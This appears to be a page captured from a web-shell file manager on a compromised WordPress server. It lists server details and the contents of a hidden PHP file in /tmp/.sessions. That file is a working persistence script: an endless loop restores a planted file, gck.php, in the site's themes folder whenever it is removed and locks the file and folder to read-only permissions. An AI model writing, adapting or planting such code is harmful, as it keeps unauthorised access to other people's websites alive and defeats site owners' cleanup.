HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-87-generic #88-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 09:28:41 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: //tmp/.sessions/.L29wdC93cHNpdGVzL2RhdGFpbnNpZ2h0bm93LmNvbS93cC1jb250ZW50L3RoZW1lc2djay1oYW5kbGVy
<?php
@ini_set("max_execution_time", 0);
while (True){
    if (!file_exists("/opt/wpsites/datainsightnow.com/wp-content/themes")){
        mkdir("/opt/wpsites/datainsightnow.com/wp-content/themes");
    }
    if (!file_exists("/opt/wpsites/datainsightnow.com/wp-content/themes/gck.php")){
        $text = base64_encode(file_get_contents("/tmp/.sessions/.L29wdC93cHNpdGVzL2RhdGFpbnNpZ2h0bm93LmNvbS93cC1jb250ZW50L3RoZW1lc2djay10ZXh0"));
        file_put_contents("/opt/wpsites/datainsightnow.com/wp-content/themes/gck.php", base64_decode($text));
    }
    if (gecko_perm("/opt/wpsites/datainsightnow.com/wp-content/themes/gck.php") != 0444){
        chmod("/opt/wpsites/datainsightnow.com/wp-content/themes/gck.php", 0444);
    }
    if (gecko_perm("/opt/wpsites/datainsightnow.com/wp-content/themes") != 0555){
        chmod("/opt/wpsites/datainsightnow.com/wp-content/themes", 0555);
    }
}

function gecko_perm($flename){
    return substr(sprintf("%o", fileperms($flename)), -4);
}